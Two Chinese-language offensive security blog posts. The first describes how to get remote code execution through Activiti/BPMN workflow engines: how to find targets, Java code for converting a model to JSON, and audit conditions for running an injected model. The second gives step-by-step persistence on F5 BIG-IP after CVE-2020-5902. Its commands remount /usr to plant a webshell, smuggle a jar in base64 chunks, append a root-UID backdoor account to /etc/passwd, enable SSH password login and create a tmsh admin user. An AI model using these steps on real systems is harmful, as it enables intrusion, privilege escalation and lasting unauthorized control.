Activiti/Workflow/bpmn 引擎代码执行问题

前言

正好实战遇到几次了,发出来记录一下
直接先上参考文献:Activiti BPMN流程引擎使用不当导致的相关RCE问题

代码也直接参考这个就行。

一般我们只需要留意后台中是否有关键字,比如流程图。workflow之类的,或者查看返回包中的json

比如:
1.jpg
再比如:
2.jpg
我们只要确定我们能修改模型和部署模型的权限就成。

或者留意前端请求,长得像这样
3.jpg
落实到前端就是长得像这样:
4.png
只要这套站是java,并且我们有权限修改模型。

一般模型形式都是长得像这样

{
    "resourceId": "eb39ae1e2dd14910a165323fdcfd807e",
    "properties": {
        "process_id": "test",
        "name": "rwar",
        "documentation": "",
        "process_author": "",
        "process_version": "2",
        "process_namespace": "archive_od",
        "executionlisteners": [],
        .....
}

或者是 在前端直接传输bpmn
4.jpg

这种的我们都能直接打。xml的话可以直接传xml,json的话可以用以下代码,转换为json

byte[] b = "bpmn xml bytes";
InputStream bpmnStream = new ByteArrayInputStream(b);// 获取bpmn2.0规范的xml
XMLInputFactory xif = XMLInputFactory.newInstance();
InputStreamReader in = new InputStreamReader(bpmnStream, "UTF-8");
XMLStreamReader xtr = xif.createXMLStreamReader(in);
// 然后转为bpmnModel
BpmnModel bpmnModel = new BpmnXMLConverter().convertToBpmnModel(xtr);
// bpmnModel转json
BpmnJsonConverter converter = new BpmnJsonConverter();
com.fasterxml.jackson.databind.node.ObjectNode editorJsonNode = converter.convertToJson(bpmnModel);
System.out.println(editorJsonNode);

然后就可以调用class或者是EL代码直接执行了

后端审计

如果我们拿到的是一套代码如何快速发现利用点呢?

我们只需要三个条件

  • 注入模型可控
  • 能获取到启动条件
  • 启动条件可控

三个却一不可,少一个都跑不起来,落实到代码就是,this.repositoryService.saveModel的参数是否可控,能否获取到processDefinitionId的值,或者不用这个值,取决于代码运行时候要求的内容,还有就是最后的this.runtimeService能否运行我们的模型

对于Activiti BPMN流程引擎使用不当导致的相关RCE问题中给了个例子。

runtimeService.startProcessInstanceByKey("hireProcessWithJpa", vars);

其中的hireProcessWithJpakey就是对应的bpmn的key,但是实际情况可能并不会使用startProcessInstanceByKey。
一个比较经典的情况就是

ProcessInstanceBuilder processInstanceBuilder = this.runtimeService.createProcessInstanceBuilder();
if (processDefinitionId != null) {
processInstanceBuilder.processDefinitionId(processDefinitionId);
}
if (startVariables != null) {
processInstanceBuilder.variables(startVariables);
}
ProcessInstance instance = processInstanceBuilder.start();

这段代码就是根据processDefinitionId来启动流程,所以对于不通的代码我们要落实不同的方法,但是一般只要盯着this.runtimeService看就行

然后下次遇到这些,就能愉快的日下来辣

Tags: rce, activiti, workflow, bpmn

CVE-2020-5902 权限维持

起因

这次这个RCE还好,说不好用它给的权限是root,说好用能打的又很少,大部分还不出网,ssh又连不上。复现我也不复现了,分析我也不分析。exp网络上一大把,我就说说怎么加个webshell吧。
毕竟大部分机器都是不出网,你ssh开不进去,反弹又反弹不出来。不过既然你能打exp,那么说明就是web是开启的,我们唯一的好方法自然就是加个webshell了。

写webshell

web路径在/usr/local/www/tmui下,但是默认路径会被redict到login.jsp,所以我们可以写到静态文件目录,也就是/usr/local/www/tmui/tmui/login/images/下面,当然直接写过去肯定是不行的,因为/usr权限是ro。

访问webshell

我们得执行mount -o remount rw /usr重新挂载/usr,这样我们才有权限写webshell。写了webshell,开开心心的访问,你肯定会看到大大的13463bd115d3d229196685b53bdb8a5a72bb36a6_2_690x282.png,根据90老哥的指点,我们得放一个ecj-4.4.jar包上去,放的路径记住是/usr/share/tomcat/lib,放到这下面。

如果你可以 出网,那么好说,直接用curl从远程下载一份到这个目录就行,如果不能出网,恭喜你,我的解决办法是把这个jar先base64,然后分割成30份,然后30分轮流echo 输出到远程/tmp/tmp.txt下,然后再用(cat /tmp/tmp.txt|base64 -d) > /usr/share/tomcat/lib/ecj-4.4.jar,由于网络/exp的缘故,成功率十分的感人。

之后得重启tomcat,如何重启呢?这个big-ip自带了重启命令,直接运行/usr/bin/restart_tomcat就行。

提权

提权就简单很多了,直接echo "abcd:advwtv/9yU5yQ:0:0:root:/home/abcd:/bin/bash" >>/etc/passwd 这样我们就能在冰蝎用控制台直接su提权了

如果ssh允许出网

那么简单许多了,ssh配置路径在/config/ssh/sshd_config
设置了PAM。不允许证书和密码登陆,所以我们要先用命令修改

sed -i "s/UsePAM yes/UsePAM no/g"  /config/ssh/sshd_config
sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/g"  /config/ssh/sshd_config
service sshd restart

然后就可以利用上面写入/etc/passwd的东西来进行ssh登陆了

如果SSH登陆。可以尝试运行这个tmsh create auth user baka2 password baka@bie123 partition-access add { all-partitions { role admin } },运行后会在https添加用户。即可登陆bigip的web控制台,在路由哪里设置allow就行

Tags: exp, rce